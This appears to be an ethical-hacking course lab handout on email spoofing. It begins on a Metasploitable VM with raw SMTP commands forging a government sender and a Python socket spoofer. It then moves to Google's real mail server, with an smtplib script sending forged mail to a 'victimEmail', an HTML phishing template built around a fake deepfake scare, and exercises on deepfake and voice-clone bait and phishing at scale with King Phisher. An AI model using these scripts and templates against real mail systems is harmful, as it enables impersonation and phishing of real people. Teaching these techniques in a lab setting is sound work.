Email Spoofing

Georgios Bakirtzis

2024-09-18

Objective

Learn how to perform email spoofing using a Metasploitable instance in an ethical hacking environment.

Prerequisites

- Kali Linux virtual machine
- Metasploitable virtual machine
- Basic understanding of networking concepts

Steps

1. Perform a DNS Lookup of a Mail Server

First, we'll demonstrate how to perform a DNS lookup to find mail server information:

```
kali@kali:~$ dig mx gmail.com
```

Look for the ANSWER SECTION in the output. You'll see something like this:

```
;; ANSWER SECTION:
gmail.com.    3435    IN    MX    5 gmail-smtp-in.l.google.com.
gmail.com.    3435    IN    MX    10 alt1.gmail-smtp-in.l.google.com.
gmail.com.    3435    IN    MX    40 alt4.gmail-smtp-in.l.google.com.
```

Note: The numbers after "MX" (5, 10, 40) indicate priority. Lower numbers have higher priority.

2. Set Up the Metasploitable Environment

a. Launch your Metasploitable VM and log in:

- Username: msfadmin
- Password: msfadmin

b. Find the Metasploitable IP address:

```
msfadmin@metasploitable:~$ ifconfig eth0
```

Look for the `inet addr:` value (e.g., 192.168.1.101).

3. Communicate with SMTP on Metasploitable

From your Kali Linux VM, use netcat to connect to the Metasploitable SMTP server:

```
kali@kali:~$ nc 192.168.1.101 25
```

Replace 192.168.1.101 with your Metasploitable IP address.

4. SMTP Communication

Now, you'll engage in a conversation with the SMTP server. Here's the sequence:

a. Server greeting:

```
Server: 220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
```

b. Send HELO command:

```
Client: HELO secret.gov
Server: 250 metasploitable.localdomain
```

c. Specify the sender:

```
Client: MAIL FROM: <head@secret.gov>
Server: 250 2.1.0 Ok
```

d. Specify the recipient:

```
Client: RCPT TO:<sys>
Server: 250 2.1.5 Ok
```

e. Begin the message body:

```
Client: DATA
Server: 354 End data with <CR><LF>.<CR><LF>
```

f. Type your message, then end with a line containing only a period:

```
Client: This is a spoofed email.
Client: .
Server: 250 2.0.0 Ok: queued as 8D6CD3A
```

g. End the session:

```
Client: QUIT
Server: 221 2.0.0 Bye
```

To verify that your message was sent run:

```
msfadmin@metasploitable:~$ sudo cat /var/spool/mail/sys
```

5. Writing an Email Spoofer

To automate the email spoofing process, we'll create a Python script that implements the SMTP protocol over a TCP connection.

Create the Python Script

On your Kali Linux VM, follow these steps:

1. Create a new folder on the desktop named `spoofer`
2. Inside the `spoofer` folder, create a Python file named `espoofer.py`
3. Open `espoofer.py` in your preferred text editor or IDE
4. Copy and paste the following code:

```
import sys, socket

size = 1024

def sendMessage(smtpServer, port, fromAddress, toAddress, message):
    IP = smtpServer
    PORT = int(port)

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((IP, PORT))  # Open socket on port
    print(s.recv(size).decode())  # display response

    s.send(b'HELO '+ fromAddress.split('@')[1].encode() +b'\r\n')
    print(s.recv(size).decode())

    # send MAIL FROM:
    s.send(b'MAIL FROM:<'+ fromAddress.encode() + b'>\r\n')
    print(s.recv(size).decode())

    # send RCPT TO:
    s.send(b'RCPT TO:<'+ toAddress.encode() + b'>\r\n')
    print(s.recv(size).decode())

    s.send(b"DATA\r\n")  # send DATA
    print(s.recv(size).decode())

    s.send(message.encode() + b'\r\n')
    s.send(b'\r\n.\r\n')
    print(s.recv(size).decode())  # display response

    s.send(b'QUIT\r\n')  # send QUIT
    print(s.recv(size).decode())  # display response
    s.close()

def main(args):
    smtpServer = args[1]
    port = args[2]
    fromAddress = args[3]
    toAddress = args[4]
    message = args[5]
    sendMessage(smtpServer, port, fromAddress, toAddress, message)

if __name__ == "__main__":
    main(sys.argv)
```

Understanding the Script

- The script creates a TCP socket and connects to the specified SMTP server.
- It then follows the SMTP protocol steps we learned earlier:
  1. Sends HELO command
  2. Specifies the sender with MAIL FROM:
  3. Specifies the recipient with RCPT TO:
  4. Sends the message body with DATA
  5. Ends the session with QUIT
- The script takes command-line arguments for the SMTP server, port, sender email, recipient email, and message content.

Running the Email Spoofer

To use the script, open a terminal in Kali Linux and navigate to the `spoofer` folder:

```
kali@kali:~$ cd ~/Desktop/spoofer
```

Run the script with the following command, replacing <Metasploitable IP address> with your Metasploitable instance's IP:

```
kali@kali:~/Desktop/spoofer$ python3 espoofer.py <Metasploitable IP address> 25 \
                             hacking@upc.edu sys "Hello from the other side!"
```

This command will:

- Connect to the Metasploitable SMTP server
- Send an email from hacking@upc.edu to sys
- Set the message body to "Hello from the other side!"

** 6. Spoofing SMTPS Emails

In this section, we'll explore how to send spoofed emails using SMTPS (SMTP over TLS).

Connecting to a Gmail SMTP Server

If your ISP allows or if you have a VPN, you can use OpenSSL to connect to Google's SMTP server:

```
kali@kali:~$ openssl s_client -starttls smtp -connect \
             gmail-smtp-in.l.google.com:25 -crlf -ign_eof
```

This command establishes an encrypted connection to Gmail's SMTP server, allowing you to manually execute SMTP commands.

Writing a Secure Email Spoofer

Let's create a Python script that uses SMTPS to send spoofed emails. This script will use the `smtplib` library and HTML email templates.

- Create the Python Script
  1. Open your preferred text editor.
  2. Copy the following code and save it as `secureSpoofer.py`:

```
from smtplib import SMTP
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart

receiver = 'victimEmail'
receiver_name = 'Victim Name'
fromaddr = 'Name <spoofed@domain.com>'
smtp_server = "gmail-smtp-in.l.google.com"

msg = MIMEMultipart()
msg['Subject'] = "Urgent"
msg['From'] = fromaddr

with open('template.html', 'r') as file:
    message = file.read().replace('\n', '')
    message = message.replace("{{FirstName}}", receiver_name)
    msg.attach(MIMEText(message, "html"))

with SMTP(smtp_server, 25) as smtp:
    smtp.starttls()
    smtp.sendmail(fromaddr, receiver, msg.as_string())
```

- Create the HTML Template

  Create a file named `template.html` in the same directory as your Python script:

```
<html>
<head>
</head>
<body style="background-color:#A9A9A9">
<div class="container" >
<div class="container" style="background-color:#FFF;">
<br><br>
<h1>Breaking News, {{FirstName}}</h1>
<h3>You have been identified in a Deep Fake!</h3>
<p>A Deep Fake video of you has been uploaded to YouTube yesterday
  and already has over 2,400 views. </p>
<p>Click the link below to view the video and take it down! </p>
<a href="https://www.google.com">Your video</a>
<br><br><hr>
<p>Best regards,</p>
<p>The Deep Fake Association</p>
<p></p>
</div>
</div>
</body>
</html>
```

Understanding the Script and Template

- The Python script uses the `smtplib` library to handle SMTP communication.
- It reads an HTML template from `template.html` and replaces placeholders with actual content.
- The script initiates a TLS session with the SMTP server before sending the email.
- The HTML template includes a personalized greeting and a deceptive message about a deep fake video.

Running the Secure Email Spoofer

To use the script:

1. Ensure both `secureSpoofer.py` and `template.html` are in the same directory.
2. Modify the `receiver`, `receiver_name`, and `fromaddr` variables in the script as needed.
3. Run the script:

```
kali@kali:~$ python3 secureSpoofer.py
```

Exercises

- Train a deepfake model to add to your fake email (hint: `https://github.com/AliaksandrSiarohin/first-order-model?tab=readme-ov-file`)
- Make a voice over for the video of a famous person (hint: `https://github.com/CorentinJ/Real-Time-Voice-Cloning`
- Modify your phising attack and show it including the new bait you created
- Use the king phiser included in kali linux and show you understand the interface to phish at scale